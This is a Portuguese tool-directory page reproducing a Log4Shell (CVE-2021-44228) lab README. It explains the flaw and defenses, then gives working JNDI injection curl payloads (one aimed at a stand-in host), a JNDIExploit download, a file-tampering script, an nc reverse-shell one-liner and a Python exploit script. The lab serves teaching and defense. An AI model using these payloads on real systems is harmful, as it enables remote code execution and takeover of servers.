Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Log4Shell-CVE-2021-44228-Demo — Demonstração do Log4Shell CVE-2021-44228 | Kitploit
Ferramentas/GitHubGitHub/ra890927/log4shell-cve-2021-44228-demo
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoFerramenta de Acesso RemotoLabs e Prática
GitHub
ra890927/log4shell-cve-2021-44228-demo

Log4Shell-CVE-2021-44228-Demo

Demonstração do Log4Shell CVE-2021-44228

Ver Repositório
2há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Demonstração do CVE-2021–44228

1. Introdução ao CVE-2021–44228

No final de 2021, a maior notícia no mundo da segurança cibernética foi a vulnerabilidade no Log4j, identificada como CVE-2021-44228, também conhecida como Log4Shell, que recebeu a pontuação máxima de 10 no sistema de classificação de vulnerabilidades CVSS, sendo considerada a vulnerabilidade mais significativa dos últimos anos, depois de Heartbleed e ShellShock. Alguns até a descrevem como uma "vulnerabilidade de nível nuclear", mostrando o quão profundo é o seu impacto. Este projeto analisa o CVE-2021-44228 e inclui uma implementação prática em laboratório.

2. Sobre o Log4j

Um logfile (arquivo de registro) é um arquivo que registra eventos que ocorrem em um sistema operacional ou software em execução, ou mensagens trocadas entre usuários de software de chat online. Muitos sistemas operacionais, frameworks de software e programas possuem sistemas de registro. O Java possui um pacote de log muito útil chamado Log4j. Este pacote pertence à Apache Software Foundation, por isso seu nome completo é Apache Log4j.

Log4j é uma ferramenta muito útil, amplamente utilizada por programas Java. Muitas vezes, engenheiros de software precisam gravar dados de execução de programas em arquivos de log ou em outros bancos de dados para uso posterior. É para isso que serve o Log4j: ele pode receber uma string de algum lugar (por exemplo, o ID de usuário inserido na tela de login) e gravá-la em outro lugar (por exemplo, o campo de entrada de dados do processo de autenticação). Além da cópia/cola básica, o Log4j também pode inspecionar e interpretar o conteúdo da string. E interpretar é uma ação perigosa, porque, a menos que o programa primeiro limpe a string, problemas são fáceis de ocorrer durante a interpretação. O Log4j não limpa a string antes de interpretá-la, portanto, atacantes têm a oportunidade de realizar ataques de injeção (injection).

3 CVE-2021–44228

CVE-2021-44228 é uma vulnerabilidade grave, pois permite que um servidor Java seja alvo de RCE (Remote Code Execution, execução remota de código) por um atacante não autenticado. A vulnerabilidade decorre de como o log4j processa mensagens de log. Se um atacante enviar uma mensagem manipulada (contendo uma string como ${jndi:ldap://rogueldapserver.com/a}), isso pode levar ao carregamento de uma classe de código externa ou à pesquisa de mensagem e à execução desse código, resultando em RCE.

Abaixo está o fluxo básico do RCE.

  1. O Atacante envia uma requisição com ataque de injeção para o Servidor Vulnerável. Por exemplo: enviando uma requisição http
    root@kitploit:~
    $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
    
  2. A string enviada é passada para o log4j para registro de log. Simultaneamente, o Log4j também recebe ${jndi:ldap://evil.xo/x}
  3. O Log4j inspeciona e interpreta o conteúdo da string, então o JNDI (Java Naming and Directory Interface) consulta o servidor LDAP. LDAP é um protocolo de rede que fornece controle de acesso e mantém informações distribuídas em um diretório via protocolo IP.
  4. O Servidor LDAP é um servidor malicioso; ao receber a consulta JNDI, ele analisa o conteúdo injetado e responde com o diretório necessário para o JNDI, contendo uma classe Java maliciosa ou instruções.
  5. O Servidor Vulnerável executa a resposta recebida pelo JNDI, e o ataque de injeção do atacante é bem-sucedido.

Como se Defender da Vulnerabilidade Log4j

  1. Use a versão mais recente do Log4j para reconstruir o pacote do programa (a versão atual é 2.17.xx). Além disso, verifique as correções mais recentes no site da Apache Foundation.
  2. Implemente um WAF (Web Application Firewall) com regras de intrusão para filtrar strings de entrada do log4j, mas isso é mais uma solução paliativa, pois os atacantes podem ocultar strings, por exemplo, usando criptografia base64 para evitar a detecção de varredura de texto.
  3. Desative temporariamente a função de log até que a correção ou
  4. a atualização do código seja realizada. Você pode precisar comentar todas as chamadas ao Log4j, então o aplicativo pode perder algumas funcionalidades, como não conseguir mais enviar a mensagem de um usuário para outro. A propósito, foi assim que a vulnerabilidade foi descoberta: jogadores do Minecraft descobriram que, se colassem comandos do Log4j na caixa de chat, essas mensagens eram executadas diretamente como comandos, em vez de serem enviadas como mensagens.

Ambiente de Laboratório

1. Configuração do Ambiente

Baixe primeiro a VM SEED Ubuntu 20.04. Esta VM fornece um ambiente Docker pré-instalado. Download

Baixar JNDIExploit

root@kitploit:~
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

Configuração do Container

root@kitploit:~
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

# Aliases for the Compose commands above
$ dcbuild   # Alias for: docker-compose build
$ dcup      # Alias for: docker-compose up
$ dcdown    # Alias for: docker-compose down

Comando do Container

root@kitploit:~
$ dockps        # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias for: docker exec -it <id> /bin/bash

# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

Para simplificar, todos os servidores estão na mesma LAN.

Tarefa de Laboratório

Tarefa 1: Usando Log4j

Nesta tarefa, o usuário pode se familiarizar com o funcionamento do log4j. O usuário pode usar o header X-Api-Version para usar o log4j para registrar logs.

root@kitploit:~
# <> é o conteúdo que o usuário precisa modificar
$ curl <server:ip> -H 'X-Api-Version: <version-number>'

Se o servidor analisar corretamente a requisição enviada, ele retornará um Hello World! No relatório, registre o resultado retornado pelo servidor e se o servidor analisou corretamente a requisição e registrou o log.

Tarefa 2: Iniciar o Log4Shell

Em 2013, o pacote Log4j adicionou o plugin "JNDILookup", permitindo que desenvolvedores usassem JNDI combinado com LDAP para obter objetos de dados Java de outros JNDITutorials externos.

A seguir, vamos usar o log4j que acabamos de usar em conjunto com o JNDIExploit para fazer o servidor executar o comando que desejamos.

root@kitploit:~
# <> é o conteúdo que o usuário precisa modificar
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'

Crie um arquivo secret.txt na pasta /tmp e entre no servidor para confirmar se o arquivo foi criado com sucesso.


Nota-1: <content> não pode conter comandos diretamente; precisa ser convertido
Nota-2: Como o vulnerable-app não possui o shell /bin/bash disponível, para confirmar o arquivo, você pode usar o comando docker

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

Uso detalhado do JNDIExploit

Tarefa 3: Modificando Arquivo do Servidor

Após as tarefas anteriores, descobrimos que o vulnerable-app executa qualquer comando base64 do atacante. Se o atacante quiser realizar operações mais complexas, ele pode enviar um script de ataque shell script para o servidor executar.

root@kitploit:~
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html

Acima está um script para modificar a pontuação do site, que está armazenada em index.html. Primeiro, execute-o com sucesso e identifique as diferenças. Em seguida, modifique este script para alterar o arquivo de pontuação para o número desejado.


Nota-1: Outra maneira conveniente de modificar arquivos é usando sed
Nota-2: Como o vulnerable-app não permite que o usuário visualize /var/www pelo navegador, para confirmar o arquivo, use o comando docker:

root@kitploit:~
$ docker exec vulnerable-app cat /var/www/index.html

Tarefa 4: Criando um Reverse Shell usando Log4Shell

Após as tarefas anteriores, já podemos converter os comandos que desejamos executar em base64 para o servidor executar. Para controlar completamente o servidor, podemos usar comandos para criar um reverse shell.

root@kitploit:~
# <> é o conteúdo que o usuário precisa modificar
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>

Para facilitar, fornecemos um script Python para realizar o ataque.

root@kitploit:~
import os
import sys
import base64
import requests
                    
ldap = '###'        # user modify
server_ip = '###'   # user modify

cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
root@kitploit:~
$ ./script '<command>'

Nota: O vulnerable-app não possui /bin/bash nem /dev/tcp, portanto não é possível usar o método normal de reverse shell. No entanto, podemos criar um arquivo pipe para ler e escrever nele.

root@kitploit:~
$ mkfifo <file-name>

Referências

https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641

Baixar ferramenta